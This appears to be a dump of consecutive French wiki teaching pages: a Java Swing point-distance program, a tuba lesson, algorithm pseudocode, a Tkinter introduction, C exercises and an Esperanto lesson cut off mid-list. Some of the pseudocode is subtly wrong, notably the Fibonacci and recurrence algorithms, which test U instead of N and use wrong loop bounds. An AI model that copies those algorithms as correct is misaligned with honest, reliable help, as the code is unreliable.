editXB.setEditable(false); p.add(editXB); editYB=new JTextField(10); editYB.setBounds(120,120,100,20); editYB.setEditable(false); p.add(editYB); editDistance=new JTextField(20); editDistance.setBounds(150,170,150,20); editDistance.setEditable(false); p.add(editDistance); Border bord=BorderFactory.createRaisedBevelBorder(); editA=new JButton("MODIFIER A"); editA.setActionCommand("EDITA"); editA.addActionListener(this); editA.setBorder(bord); editA.setBounds(240,35,100,20); p.add(editA); editB=new JButton("MODIFIER B"); editB.setActionCommand("EDITB"); editB.addActionListener(this); editB.setBorder(bord); editB.setBounds(240,105,100,20); p.add(editB); c.add(p, BorderLayout.CENTER); setVisible(true); A=new Point(); B=new Point(); ShowPoint(); } void ShowPoint() { editXA.setText(String.valueOf(A.getX())); editYA.setText(String.valueOf(A.getY())); editXB.setText(String.valueOf(B.getX())); editYB.setText(String.valueOf(B.getY())); editDistance.setText(String.valueOf(A.distance(B))); } public void actionPerformed(ActionEvent e) { if(e.getActionCommand().equals("EDITA")) { PointDialog dialog=new PointDialog(this,"Modification du point A",A); dialog.setVisible(true); ShowPoint(); } else if(e.getActionCommand().equals("EDITB")) { PointDialog dialog=new PointDialog(this,"Modification du point B",B); dialog.setVisible(true); ShowPoint(); } } } } </pre> '''Le fichier Point.java''' <pre> public class Point { private double x,y; Point() { x=0; y=0; } public double getX(){return x;} double getY(){return y;} void setXY(double x,double y) { this.x=x; this.y=y; } double distance(Point P) { double dx,dy; dx=x-P.x; dy=y-P.y; return java.lang.Math.sqrt(dx*dx+dy*dy); } } </pre> '''Le fichier PointDialog.java''' <pre> import javax.swing.*; import javax.swing.border.Border; import java.awt.event.*; import java.awt.*; public class PointDialog extends JDialog implements ActionListener { private Point P; JButton OK,Cancel; JLabel textX,textY; JTextField editX,editY; PointDialog(JFrame f,String s,Point P) { super(f,s,true); this.P=P; setLocationRelativeTo(f); setBounds(500,100,400,200); setDefaultCloseOperation(JDialog.DO_NOTHING_ON_CLOSE); Container c=getContentPane(); c.setLayout(null); textX=new JLabel("Abscisse du point :"); textX.setBounds(10,20,120,20); c.add(textX); textY=new JLabel("Ordonnée du point :"); textY.setBounds(10,50,120,20); c.add(textY); editX=new JTextField(20); editX.setBounds(140,20,100,20); c.add(editX); editY=new JTextField(20); editY.setBounds(140,50,100,20); c.add(editY); Border bord=BorderFactory.createRaisedBevelBorder(); OK=new JButton("OK"); OK.setActionCommand("OK"); OK.addActionListener(this); OK.setBorder(bord); OK.setBounds(260,25,60,20); c.add(OK); Cancel=new JButton("Annuler"); Cancel.setActionCommand("CANCEL"); Cancel.addActionListener(this); Cancel.setBorder(bord); Cancel.setBounds(260,50,60,20); c.add(Cancel); ShowPoint(); } private void ShowPoint() { editX.setText(String.valueOf(P.getX())); editY.setText(String.valueOf(P.getY())); } public void actionPerformed(ActionEvent e) { double x,y; if(e.getActionCommand().equals("OK")) { boolean ok=true; if(ok) { try{ x=(new Double(editX.getText())).doubleValue(); }catch(RuntimeException ex) {x=P.getX();editX.setText(String.valueOf(x));ok=false;} try{ y=(new Double(editY.getText())).doubleValue(); }catch(RuntimeException ex) {y=P.getY();editY.setText(String.valueOf(y));ok=false;} if(ok) { P.setXY(x,y); dispose(); } } } else if(e.getActionCommand().equals("CANCEL")) { dispose(); } } } </pre> Modèle:Corse 7344 35033 2006-02-27T15:57:18Z Guillaumito 46 ''Retourner au livre de [[Enseignement du corse|Corse]] : [[Enseignement du corse:variété bonifacienne|variété bonifacienne]], [[Enseignement du corse:variété sartenaise|variété sartenaise]] ou [[Enseignement du corse:variété taravaise|variété taravaise]].'' ---- Enseignement du corse:varieté bonifacienne 7345 35035 2006-02-27T15:58:12Z Guillaumito 46 [[Enseignement du corse:varieté bonifacienne]] déplacé vers [[Enseignement du corse:variété bonifacienne]]: variété, avec un accent... #REDIRECT [[Enseignement du corse:variété bonifacienne]] Wikiversité:tuba 7346 35139 2006-02-28T17:48:12Z AntoineVE 1194 '''Bienvenue sur la page du Département Tuba, Saxhorn et Baryton de la Faculté de Musique de la Wikiversité !''' ==Les différents instruments== ===Le Tuba Mi bémol (d'orchestre)=== [[Image:Tuba-Eb-sylver.png|thumb|left|100px|Un Tuba Mib argenté (Modèle Besson Sovereign)]] [[Image:Tuba-Eb-mouth.png|thumb|right|75px|L'embouchure du Tuba Mib (Modèle Denis Wick 4L)]] Le Tuba Mi bémol (que nous appelerons ici Tuba Eb) se joue le plus souvent assis, même s'il peut être jouer debout si le musicien s'en sens capable. Contrairement au Tuba Eb de défilé, on ne peut pas y passer de sangles pour le porter. Même si cet instrument est en Mi bémol, on le joue en Si bémol ou en Ut car cela est le plus courant. Dans ce cours, on sera toujours en Si bémol (Bb) car c'est la tonalité la plus utilisée pour les Tuba. Pour avoir la même note au piano, il faudra donc descendre d'un ton. Cet instrument à une grande tessiture, c'est à dire qu'il peut jouer un grand nombre de notes, dans l'aigue et dans le grave. Voici néanmoins les notes les plus usitées, avec 2 gammes de Do Majeur : [[Media:Tuba-range-C-low.ogg|Gamme en clé de Fa (grave)]] [[Media:Tuba-range-C-high.ogg|Gamme en clé de Sol (aigue)]] ====Les doigtés==== [[Image:Tuba-Eb-Piston.png|thumb|right|150px|Les pistons du Tuba]] Le Tuba Eb a 4 pistons, qui permettent de choisir la note. Voici la liste des notes avec les doigtées ("I" signifiant le piston ouvert, "~" signifiant le piston fermé (appuyé)) : {| border="2" |+Les doigtés du Tuba Eb !Note (en Si b) !1 !2 !3 !4 |----- |Fa |I |I |I |I |----- |Fa # |~ |~ |~ |~ |----- |Sol |~ |I |~ |~ |} ''Note : Je vais finir les doigtés et mettre un lien vers chaque note jouée afin de l'entendre, ce qui facilitera à l'élève de trouver la note.'' ==Le Tuba dans les orchestes== ==Œuvres pour Tuba== Image:Td6bfig1.png 7347 35059 2006-02-27T18:42:42Z SergeMoutou 1178 Organisation des mémoires Organisation des mémoires Programmation Algorithmique/Tableaux 7354 35119 2006-02-28T14:50:44Z Merrheim 1032 /* Somme des éléments d'un tableau */ {{Programmation Algorithmique}} ==Algorithmes sur les tableaux== ===Recherche du plus petit élément d'un tableau=== *'''Paramètres en entrée :''' un tableau de N entiers<br/> *'''Paramètres en sortie :''' l'entier min *'''Spécifications : ''' min doit contenir la valeur du plus petit élément du tableau. *'''Algorithme : ''' <pre> TABLEAU ENTIER t[1..N]; ENTIER min; ENTIER i; min<-t[1]; pour i=2 jusqu'à N faire si t[i]<min alors min<-t[i]; finsi finfaire </pre> === Recherche d'une valeur dans un tableau === *'''Paramètres en entrée :''' un tableau de N entiers et une valeur v<br/> *'''Paramètres en sortie :''' le booléen trouve et l'entier indice. *'''Spécifications : '''le booléen trouve doit être à vrai si V se trouve dans le tableau. La valeur d'indice vaut alors le plus petit indice de la case contenant la valeur v dans le tableau. *'''Algorithme : ''' <pre> TABLEAU ENTIER t[1..N]; ENTIER v; BOOLEEN trouve; ENTIER indice,i; trouve<-faux; indice<- -1; i=0; tant que trouve=faux ET i<=N faire si t[i]=v alors trouve<-true; indice<-i; sinon i<-i+1; finsi finfaire </pre> ===Somme des éléments d'un tableau=== *'''Paramètres en entrée :''' un tableau de N entiers<br/> *'''Paramètres en sortie :''' l'entier s. *'''Spécifications : ''' s doit être égal à la somme des éléments du tableau. *'''Algorithme : ''' <pre> TABLEAU ENTIER t[1..N]; ENTIER i; s<-0; pour i=1 jusqu'à N faire s<-s+t[i]; finfaire </pre> ===Recherche du nombre d'occurences=== *'''Paramètres en entrée :''' un tableau de N entiers et une valeur v<br/> *'''Paramètres en sortie :''' l'entier nb. *'''Spécifications : ''' nb doit être égal au nombre de fois que la valeur v apparait dans le tableau. *'''Algorithme : ''' <pre> TABLEAU ENTIER t[1..N]; ENTIER v; ENTIER i,nb; nb<-0; pour i=1 jusqu'à N faire si t[i]=v alors nb<-nb+1; finsi finfaire </pre> ==Suppression d'un élément== ==Suppression de toutes les occurences== Image:Utilisateur-AntoineVE-dessin.png 7355 35104 2006-02-28T14:32:39Z AntoineVE 1194 Licence : {{CC-BY-NC-SA}} Licence : {{CC-BY-NC-SA}} Programmation Algorithmique/Tris 7356 35176 2006-03-01T08:31:09Z Merrheim 1032 /* Tri bulle */ {{Programmation Algorithmique}} ==Les algorithmes de tri== ===Tri par sélection=== *'''Paramètre en entrée/sortie :''' Un tableau t de N entiers ENTIER T[1..N]; *'''Spécifications :''' en sortie t doit être trié du plus petit au plus grand. <pre> TABLEAU ENTIER t[1..N] ENTIER i,j,min,temp,indicemin; pour i<-1 jusqu'à N-1 faire min<-t[i]; indicemin<-i; pour j<-i+1 jusqu'à N faire si t[j]<min alors min<-t[j];indicemin<-j;finsi finfaire temp<-t[i];t[i]<-t[indicemin];t[indicemin]=temp; finfaire </pre> ===Tri bulle=== *'''Paramètre en entrée/sortie :''' Un tableau t de N entiers ENTIER T[1..N]; *'''Spécifications :''' en sortie t doit être trié du plus petit au plus grand. <pre> TABLEAU ENTIER t[1..N] ENTIER i,nb,temp; faire nb<-0; pour i<-1 jusqu'à N-1 faire si t[i]>t[i+1] alors temp<-t[i];t[i]<-t[i+1];t[i+1]<-temp; nb<-nb+1;finsi finfaire tant que nb<>0; </pre> Programmation Algorithmique/Maths 1 7357 35177 2006-03-01T08:32:49Z Merrheim 1032 /* Evaluation d'un polynôme par l'algorithme de Horner */ {{Programmation Algorithmique}} ==Calcul de suites== === Suite récurrence niveau 1 === On veut évaluer le N-ième terme de la suite définie par : * U<sub>0</sub>=1 *U<sub>n+1</sub>=3.U<sub>n</sub>+8 *'''Paramètres en entrée : ''' l'entier N * '''Paramètres en sortie :''' l'entier U *'''Spécifications : ''' U doit être égal à U<sub>N</sub>. *'''Algorithme : ''' <pre> ENTIER U,N,i; U<-1; pour i<-0 jusqu'à N-1 faire U<-3*U+8; finfaire </pre> === Suite récurrence niveau 2 === On veut évaluer le N-ième terme de la suite définie par : * U<sub>0</sub>=1 *U<sub>n+1</sub>=3.U<sub>n</sub>+n+4 *'''Paramètres en entrée : ''' l'entier N * '''Paramètres en sortie :''' l'entier U *'''Spécifications : ''' U doit être égal à U<sub>N</sub>. *'''Algorithme : ''' <pre> ENTIER U,N,i; U<-1; pour i<-0 jusqu'à N-1 faire U<-3*U+i+4; finfaire </pre> === Suite récurrence niveau 3 === On veut évaluer le N-ième terme de la suite de Fibinacci définie par : * U<sub>0</sub>=1 * U<sub>1</sub>=1 *U<sub>n+2</sub>=U<sub>n+1</sub>+U<sub>n</sub> *'''Paramètres en entrée : ''' l'entier N * '''Paramètres en sortie :''' l'entier U *'''Spécifications : ''' U doit être égal à U<sub>N</sub>. *'''Algorithme : ''' <pre> ENTIER U,V,W,N,i; V<-1; W<-1; si U=0 alors U=W; sinon si U=1 alors U=V; sinon pour i<-2 jusqu'à N-2 faire U<-V+W; W=V; V=U finfaire finsinon </pre> === Suite récurrence niveau 4 === On veut évaluer le N-ième terme de la suite définie par : * U<sub>0</sub>=1 * U<sub>1</sub>=17 *U<sub>n+2</sub>=(n+4)*U<sub>n+1</sub>+2.U<sub>n</sub>+n *'''Paramètres en entrée : ''' l'entier N * '''Paramètres en sortie :''' l'entier U *'''Spécifications : ''' U doit être égal à U<sub>N</sub>. *'''Algorithme : ''' <pre> ENTIER U,V,W,N,i; V<-17; W<-1; si U=0 alors U=W; sinon si U=1 alors U=V; sinon pour i<-2 jusqu'à N-2 faire U<-(i+4)*V+2*W+i; W=V; V=U finfaire finsinon </pre> ==Calcul de somme== === Somme des N premiers entiers=== * '''Paramètres en entrée : ''' l'entier N * '''paramètres en sortie : ''' l'entier S *'''Spécifications : ''' S doit être égal à la somme des N premier entiers *'''Algorithme : ''' <pre> ENTIER N,S,i; S<-0; pour i<-1 jusqu'à N faire S<-S+i; finfaire </pre> ==Calcul polynomial== ===Evaluation d'un polynôme par l'algorithme de Horner=== *'''Paramètres en entrée : ''' Un tableau de N+1 réels TABLEAU REEL a[0..N] et un réel X. *'''Paramètres en sortie : ''' le réel P *'''Spécifications : ''' P doit être égal à <math>\sum_{i=0}^{N}a[i].X^i</math> *'''Algorithme : ''' <pre> TABLEAU REEL a[0..N]; REEL X; ENTIER i; REEL P; P=0; pour i<-0 jusqu'à N faire P<-P*X+a[N-i]; finfaire </pre> Programmation Python Tkinter 7362 44627 2006-06-16T09:58:11Z Boly38 136 {{Programmation Python}} {{Programmation Python}} {{ébauche}} == créer des interfaces python avec Tkinter == ===Mais qu'est-ce-qu'il faut installer d'abord=== L'interface Tkinter s'installe avec Python, donc il suffit d'installer Python 2.3 ou 2.4 pour pouvoir utiliser Tkinter. il suffit de lancer sur le root : à partir de fedora 3 #yum install tkinter ===principes de base=== Créez un fichier texte dans le dossier python2.4 ou python 2.3 Donnez lui le nom que vous voulez, mais pour que votre fichier puisse être interprété par python, il doit porter l'extention . py ou .pyw créez donc un fichier du type : monfichier.py (dans ce cas, la console s'affichera, ce qui peut etre pratique pour suivre le fonctionnement du programme) ou monfichier.pyw (dans ce cas la console ne s'ouvrira pas : c'est ce type d'extension qu'il faut utiliser pour la version définitive du programme) Pour écrire le programme : clic droit sur le fichier ouvrir avec le bloc note ===Quelques règles d'écriture=== Les espaces n'ont pas d'incidence sur le fonctionnement Les commentaires précédés de # permettent de donner des indications et des repères dans le programme, mais n'ont aucun effet sur le programme ===créer une fenetre pour l'application=== ====propriétés et méthodes de l'objet fenetre==== le programme est le suivant : from Tkinter import * # le programme va aller chercher des fonctions dans la librairie Tkinter fen= Tk() # vous pouvez choisir le nom que vous voulez pour votre fenetre fen.mainloop() # lance la boucle principale ===Qu'est-ce qu'un widget ?=== widget : contraction de windows gadget. Les widgets sont tous les objets graphiques que l'on peut insérer dans une interface (fenetre).Les principaux sont : les boutons : Button (pour commander une action) Les labels : Label (pour insérer un texte) Les fenetres de saisie : Entry ( pour entrer une donnée) Les Canvas : pour insérer des images Chaque widget a des propriétés et des méthodes qui permettent de régler son apparence et les interactions de l'utilisateur. ===ajouter des boutons=== chaque widget (objet d'interface) doit etre créer puis placé dans la fenetre from Tkinter import * # le programme va aller chercher des fonctions dans la librairie Tkinter fen= Tk() #creation de la fenetre, vous pouvez choisir le nom que vous voulez pour votre fenetre bou1=Button(fen, text="quitter", command=fen.destroy) # creation du bouton, associé à l'action fen.destroy* bou1.pack() #insère le bouton dans la fenetre fen.mainloop() # lance la boucle principale * : .La command .destroy() est une méthode de destruction qui s'applique à l'objet fen1. La pression du bouton a donc pour conséquence la fermeture de la fenêtre fen ====propriétés et méthodes de l'objet bouton==== ===l'incontournable "hello word" : ajouter un Label === ====propriétés et méthodes de l'objet label==== === Le widget Entry === ====propriétés et méthodes de l'objet Entry==== ===Le widget Canvas === ====propriétés et méthodes de l'objet Canvas==== ===Créer des executablesavec py2exe=== Programmation Python Installation et utilisation 7363 44650 2006-06-16T12:39:16Z Boly38 136 /* Editeurs */ [[Programmation Python Python avec Eclipse]] {{Programmation Python}} == Installation == Python est le plus souvent automatiquement installé avec la plupart des distribution Linux. Il est possible d'installer Python sur les systèmes Microsoft ou sur d'autre système Unix. Python est disponible ici : [http://www.python.org/download/ telecharger python] (fichier MSI pour Windows) == Utilisation == Python dispose d'une interface interactive qui permet de tester les commandes de bases. Pour appeller un l'interface, il suffit de saisir ''python'' dans une console shell. Vous pouvez également exécuter un script Python (fichier.py) en ligne de commande : {{cadre code|Exécuter un script python| <pre> > set PATH=%PATH%;C:\Repertoire\De\Python > python MonScript.py </pre> }} === Editeurs === * {{en}} [http://www.mmm-experts.com/Downloads.aspx Python scripter ] : auto-complétion, navigation entre classe avec 'CTRL', génération et execution des tests unitaires, debugger ... * [[Programmation Python Python avec Eclipse]] Programmation/Sommaire 7365 35217 2006-03-01T09:38:06Z Merrheim 1032 *[[Programmation C Introduction|Introduction]] *[[Programmation C Bases du langage|Bases du langage]] **[[Programmation C Types de base|Types de base]] **[[Programmation C Classe de stockage|Classe de stockage]] **[[Programmation C Opérateurs|Opérateurs]] **[[Programmation C Tests|Structures de contrôle - tests]] **[[Programmation C Itérations|Structures de contrôle - itérations]] **[[Programmation C Fonctions et procédures|Fonctions et procédures]] **[[Programmation C Tableaux|Tableaux]] **[[Programmation C Pointeurs|Pointeurs]] **[[Programmation C Types avancés|Types avancés - structures, unions, énumérations]] **[[Programmation C Préprocesseur|Préprocesseur]] *[[Programmation C Bibliothèque standard|Bibliothèque standard]] **[[Programmation C Chaînes de caractères|Chaînes de caractères]] **[[Programmation C Entrées/sorties|Entrées/sorties]] **[[Programmation C Mathématiques|Mathématiques]] **[[Programmation C Erreurs|Erreurs]] *[[Programmation C Conclusion|Conclusion]] Programmation C/Sommaire 7366 45292 2006-06-21T02:46:21Z Tpierron 79 *[[Programmation C Introduction|Introduction]] *[[Programmation C Bases du langage|Bases du langage]] **[[Programmation C Types de base|Types de base]] **[[Programmation C Classe de stockage|Classe de stockage]] **[[Programmation C Opérateurs|Opérateurs]] **[[Programmation C Tests|Structures de contrôle - tests]] **[[Programmation C Itérations|Structures de contrôle - itérations]] **[[Programmation C Fonctions et procédures|Fonctions et procédures]] **[[Programmation C Tableaux|Tableaux]] **[[Programmation C Pointeurs|Pointeurs]] **[[Programmation C Types avancés|Types avancés - structures, unions, énumérations]] **[[Programmation C Préprocesseur|Préprocesseur]] *[[Programmation C Bibliothèque standard|Bibliothèque standard]] **[[Programmation C Chaînes de caractères|Chaînes de caractères]] **[[Programmation C Entrées/sorties|Entrées/sorties]] **[[Programmation C Erreurs|Erreurs]] **[[Programmation C Mathématiques|Mathématiques]] *[[Programmation C Conclusion|Conclusion]] Exercices en langage C 7368 35419 2006-03-02T07:36:37Z Merrheim 1032 {{Exercices en langage C}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#EAF5FB" align="center" colspan="2" | {| width="100%" bgcolor="#EAF5FB" |- | bgcolor="#EAF5FB" valign="middle" width="90%" align="center" | <font size="+1">Exercices en langage C</font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Exercices en langage C/Sommaire|couleur=#EAF5FB|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Modèle:Exercices en langage C 7369 37551 2006-03-14T09:17:47Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#EAF5FB;" | '''[[Exercices en langage C]]''' |- | style="text-align:center;background:#EAF5FB;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | bgcolor="#EAF5FB" align="center" |'''Sommaire''' |- | bgcolor="white" | * <small> [[Exercices en langage C/Notions de base|Notions de base]] </small> * <small> [[Exercices en langage C/Structures de controle|Les structures de contrôle]] </small> * <small> [[Exercices en langage C/Tableaux statiques|Les tableaux statiques]] </small> * <small> [[Exercices en langage C/Fonctions|Les fonctions]] </small> * <small> [[Exercices en langage C/Chaines|Les chaînes de caractères]] </small> |- | bgcolor="#EAF5FB" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[Programmation C]]</small> *<small>[[Programmation C++ (débutant)]]</small> *<small>[[Programmation C plus plus|Programmation C++]]</small> *<small>[[Exercices en langage C++]]</small> *<small>[[Interfaces graphiques en C++ avec wxWidget|IHM en C++ avec wxWidget]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%E8le:Exercices_en_langage_C&action=edit Modifier ce modèle]</small> |} Exercices en langage C/Notions de base 7370 37492 2006-03-13T23:24:29Z Dhenry 47 typo {{Exercices en langage C}} == Notions de base == === Exercice 1 === Écrire un programme qui demande à l'utilisateur de taper la largeur et la longeur d'un champs et qui en affiche le périmètre et la surface. <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = <pre>#include <stdio.h> int main(int argc, char *argv[]) { double largeur, longueur, surface, perimetre; printf("Tapez la largeur du champs : "); scanf("%lf", &largeur); printf("Tapez la longueur du champs : "); scanf("%lf", &longueur); surface = largeur * longueur; perimetre = 2 * (largeur + longueur); printf("La surface vaut : %lf\n", surface); printf("Le perimetre vaut : %lf\n", perimetre); return 0; }</pre> }}</div> === Exercice 2 === Écrire un programme qui demande à l'utilisateur de taper 5 entiers et qui affiche leur moyenne. Le programme ne devra utiliser que 2 variables. <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Calcul du moyenne. *Utilisation des types <code>int</code> et <code>double</code>. *L'utilisation des fonctions <code>printf</code> et <code>scanf</code>. *L'affectation. Voici le fichier source : <pre>#include <stdio.h> int main(int argc, char *argv[]) { int a; /* variable temporaire pour la lecture au clavier */ double s = 0; printf("Tapez la valeur numero 1 : "); scanf("%d", &a); s = s + a; printf("Tapez la valeur numero 2 : "); scanf("%d", &a); s = s + a; printf("Tapez la valeur numero 3 : "); scanf("%d", &a); s = s + a; printf("Tapez la valeur numero 4 : "); scanf("%d", &a); s = s + a; printf("Tapez la valeur numero 5 : "); scanf("%d", &a); s = s + a; s = s / 5.0; printf("La moyenne vaut : %lf\n", s); return 0; }</pre> }}</div> ===Exercice 3 === Écrire un programme qui demande à l'utilisateur de saisir deux entiers A et B, qui échange le contenu des variables A et B puis qui affiche A et B. <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation des fonctions <code>printf</code> et <code>scanf</code>. *L'affectation. *Un « algorithme » rudimentaire : échanger le contenu de 2 variables. Voici le fichier source : <pre>#include <stdio.h> int main(int argc, char *argv[]) { double a, b, temp; printf("Tapez la valeur de a : "); scanf("%lf", &a); printf("Tapez la valeur de b : "); scanf("%lf", &b); temp = a; a = b; b = temp; printf("La valeur de a est %lf\n", a); printf("La valeur de b est %lf\n", b); return 0; }</pre> }}</div> === Exercice 4 === Écrire un programme qui demande à l'utilisateur de taper le prix HT qu'un kilo de tomates, le nombre de kilos de tomates achetés, le taux de TVA (Exemple 5,5, 19,6, ...). Le programme affiche alors le prix TTC des marchandises. <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *Le choix d'identificateurs pertinents et explicites. *L'utilisation des fonctions <code>printf</code> et <code>scanf</code>. *L'affectation. *Modélisation d'un problème « économique ». Voici le fichier source : <pre>#include <stdio.h> int main(int argc, char *argv[]) { double prixht, poids, tva, total; printf("Tapez le prix HT d'un kilo de tomates : "); scanf("%lf", &prixht); printf("Combien de kilos avez-vous achetes : "); scanf("%lf", &poids); printf("Quel est le taux de TVA : "); scanf("%lf", &tva); total = (1 + tva / 100) * prixht * poids; printf("Le prix TTC est : %lf\n", total); return 0; }</pre> }}</div> === Exercice 5 === Écrire un programme qui demande à l'utilisateur de saisir les coordonnées de deux points du plan A et B et qui affiche la distance entre A et B.<br/> Indication 1 : on pourra utiliser le théorème de Pythagore.<br/> Indication 2 : dans le fichier d'en-tête <code>math.h<code>, il y a une fonction <code>sqrt</code> qui calcule la racine carrée.<br/> Exemple d'utilisation : <code>x = sqrt(y);</code><br/> x et y doivent être des double.<br/></pre> <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La notion de variables et leur déclaration. *L'utilisation des fonctions <code>printf</code> et <code>scanf</code>. *L'affectation. *Utilisation de variables explicites. *Utilisation de la bibliothèque <code>math.h</code>. *Modélisation d'un problème issu de la géométrie sous forme informatique. Voici le fichier source : <pre>#include <stdio.h> #include <math.h> int main(int argc, char *argv[]) { double XA, YA, XB, YB, dx, dy, distance; printf("Tapez l'abscisse de A : "); scanf("%lf", &XA); printf("Tapez l'ordonnée de A : "); scanf("%lf", &YA); printf("Tapez l'abscisse de B : "); scanf("%lf", &XB); printf("Tapez l'ordonnée de B : "); scanf("%lf", &YB); dx = XA - XB; dy = YA - YB; distance = sqrt(dx * dx + dy * dy); printf("La distance AB est : %lf\n", distance); return 0; }</pre> }}</div> Exercices en langage C/Structures de controle 7371 35256 2006-03-01T12:53:32Z Merrheim 1032 /* Les structures de contrôles */ {{Exercices en langage C}} ==Les structures de contrôles== === Somme d'entiers === Ecrire un programme demandant à l'utilisateur de taper 10 entiers et qui affiche leur somme. Le programme ne devra utiliser que 2 variables et ne devra pas utiliser de tableau. <div style="width:70%">{{Boîte déroulante|titre=Solution|contenu = <pre> #include <stdio.h> int main(int argc, char *argv[]) { int a,s,i; s=0; for(i=0;i<10;i++) { printf("tapez un entier :");scanf("%d",&a); s=s+a; } printf("la somme des 10 entiers vaut : %d\n",s); return 0; } </pre> }} </div> Exercices en langage C/Tableaux statiques 7372 35252 2006-03-01T12:52:02Z Merrheim 1032 {{Exercices en langage C}} ==Les tableaux statiques== Exercices en langage C/Fonctions 7373 35253 2006-03-01T12:52:17Z Merrheim 1032 {{Exercices en langage C}} ==Les fonctions== Exercices en langage C/Chaines 7374 35254 2006-03-01T12:52:36Z Merrheim 1032 {{Exercices en langage C}} == Les chaînes de caractères== Exercices en langage C/Sommaire 7375 35260 2006-03-01T12:56:08Z Merrheim 1032 * [[Exercices en langage C/Notions de base|Notions de base]] * [[Exercices en langage C/Structures de controle|Les structures de contrôle]] * [[Exercices en langage C/Tableaux statiques|Les tableaux statiques]] * [[Exercices en langage C/Fonctions|Les fonctions]] * [[Exercices en langage C/Chaines|Les chaînes de caractères]] Département informatique/Rayon Programmation Algo 7376 45330 2006-06-21T13:38:10Z 83.206.74.93 /* Algorithmique et programmation */ ==Algorithmique et programmation== *[[ Programmation_C_plus_plus|Un livre référence sur le langage C++ ]]<br/> *[[ Programmation_C|Un livre référence sur le langage C ]]<br/> *[[ Exercices en langage C]]<br/> *[[ Exercices en langage C++]]<br/> *[[ Programmation_C_plus_plus_debutants|Un cours pour débutants sur le langage C++ ]]<br/> *[[Interfaces graphiques en C++ avec wxWidget]]<br/> *[[Programmation_Java|Un cours sur le langage Java]]<br/> *[[Programmation_Algorithmique|Un cours d'algorithmique et de structure de donnée]]<br/> *Site interessant sur l'algorithmique:http://www.geocities.com/csessenia/formations.html Cliquer sur "Fichier ancient"(2ème année) Département informatique/Rayon Developpement Web 7377 46619 2006-06-30T13:34:11Z 195.220.250.184 /* Dévéloppement WEB */ ==Développement WEB== *[[Programmation HTML|Le langage HTML]] *[[Programmation_CSS|Programmation CSS]] *[[Programmation_PHP|Un cours sur le langage PHP ]] *[[Programmation_XML|Programmation XML ]] *[[programmation JavaScript|Sommaire wikibook JavaScript ]] Département informatique/Rayon Architecture Système Réseaux 7378 35433 2006-03-02T08:14:30Z Merrheim 1032 /* Architecture, Système et Réseaux */ ==Architecture, Système et Réseaux== *[[Introduction aux réseaux]]<br/> *[[ Reseaux TCP/IP|Les réseaux TCP/IP ]]<br/> *[[ Architecture des ordinateurs|Architecture des ordinateurs ]]<br/> Département informatique/Rayon Divers 7379 35300 2006-03-01T13:51:20Z Merrheim 1032 ==Les sujets d'ouvertures== Les sujets d'ouvertures ne sont pas des cours à proprement parler mais sont des documents complémentaires , assez spécialisés, permettant d'acquérir une culture informatique. ===Bases de données=== [[D%C3%A9couverte_de_MySQL%2C_PostgreSQL_et_Oracle|Présentation et comparaison de 3 bases de données : MySQL, PostgresSQL et Oracle]] Calcul tensoriel/Sommaire 7388 43345 2006-05-28T19:54:34Z Fapae 1199 /* [[Calcul tensoriel/Maxwell 2|Écriture duale des équations de Maxwell]] {{0/4}} */ suppression (passé dans électromagnétisme) == [[Calcul_tensoriel/Notions élémentaires|Notions élémentaires]] {{3/4}} == == [[Calcul tensoriel/Espace euclidien|Espace plan (euclidien)]] {{2/4}} == == [[Calcul tensoriel/Mécanique des milieux continus|Mécanique des milieux continus]] {{0/4}} == == [[Calcul_tensoriel/Espace courbe|Espace courbe (riemannien)]] {{1/4}} == == [[Calcul tensoriel/Espace-temps plan|Espace-temps plan (relativité restreinte)]] {{1/4}} == == [[Calcul_tensoriel/Électromagnétisme|Électromagnétisme]] {{1/4}} == == [[Calcul tensoriel/Géodésiques|Géodésiques]] {{2/4}} == == [[Calcul_tensoriel/Espace-temps courbe|Espace-temps courbe (relativité générale)]] {{1/4}} == == [[Calcul tensoriel/Appendices|Appendices]] {{4/4}} == Calcul tensoriel/Notions de base 7389 36221 2006-03-06T14:34:57Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes]] déplacé vers [[Calcul tensoriel/Notions de base]] {{:Calcul tensoriel/Coordonnées curvilignes/Sommaire}} Espéranto : Douzième Leçon 7390 46008 2006-06-27T05:57:49Z 86.203.40.152 ==Prépositions== Comme n'importe quelle langue, l'espéranto possède ses propres prépositions. '''Prépositions de lieu :''' *'''en''' (dans) *'''sub''' (sous) *'''sur''' (sur) *'''super''' (au-dessus de, du) *'''antaŭ''' (devant) *'''malantaŭ''' (derrière) *'''inter''' (entre, parmi) *'''ĉirkaŭ''' (autour de, du) *'''apud''' (à côté de, du) *'''kontraŭ''' (en face de, du, contre) *'''ekster''' (hors de) ''sans mouvement'' *'''ĉe''' (chez, tout près de, du) '''Prépositions indiquant un mouvement :''' *'''al''' (vers, à) *'''el''' (hors de) ''avec mouvement'' *'''post''' (après, derrière) *'''preter''' (au-delà de, du) ''en dépassant'' *'''tra''' (à travers) *'''trans''' (au-delà de, du) ''en passant par-dessus'' '''Prépositions de temps :''' *'''antaŭ''' (avant) *'''antaŭ ol''' (avant de) *'''dum''' (pendant) *'''ĝis''' (jusqu'à) *'''post''' (après) '''Prépositions diverses :''' *'''anstataŭ''' (au lieu de) *'''da''' (de) ''partitif'' *'''de''' (de) ''passif'' *'''je''' (en, à, 